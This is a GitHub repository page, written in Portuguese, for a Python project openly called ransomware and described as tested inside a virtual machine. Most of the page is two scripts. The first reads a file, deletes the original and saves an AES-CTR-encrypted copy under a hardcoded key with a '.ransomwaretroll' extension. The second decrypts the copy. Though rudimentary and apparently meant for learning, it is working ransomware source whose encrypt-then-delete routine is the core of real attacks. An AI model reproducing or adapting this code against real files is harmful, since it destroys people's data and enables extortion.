Skip to content

Ransomware feito em Python aplicado sob uma máquina virtual para teste.

Notifications You must be signed in to change notification settings

jpmamededs/ransomware-python

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 

Repository files navigation

Código para encriptar arquivo teste.txt:

import os import pyaes

abrir o arquivo a ser criptografado

file_name = "teste.txt" file = open(file_name, "rb") file_data = file.read() file.close()

remover o arquivo

os.remove(file_name)

chave de criptografia

key = b"testeransomwares" aes = pyaes.AESModeOfOperationCTR(key)

criptografar o arquivo

crypto_data = aes.encrypt(file_data)

salvar o arquivo criptografado

new_file = file_name + ".ransomwaretroll" new_file = open(f'{new_file}','wb') new_file.write(crypto_data) new_file.close()

Após teste.txt ter sido encriptado, usa-se outro código para descriptografar os arquivos se for necessário:

import os import pyaes

abrir o arquivo criptografado

file_name = "teste.txt.ransomwaretroll" file = open(file_name, "rb") file_data = file.read() file.close()

chave para descriptografia

key = b"testeransomwares" aes = pyaes.AESModeOfOperationCTR(key) decrypt_data = aes.decrypt(file_data)

remover o arquivo criptografado

os.remove(file_name)

criar o arquivo descriptografado

new_file = "teste.txt" new_file = open(f'{new_file}', "wb") new_file.write(decrypt_data) new_file.close()

Desse modo, você consegue criptografar e descriptografar teste.txt ou outros arquivos (código sujeito a algumas mudanças pontuais)

About

Ransomware feito em Python aplicado sob uma máquina virtual para teste.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages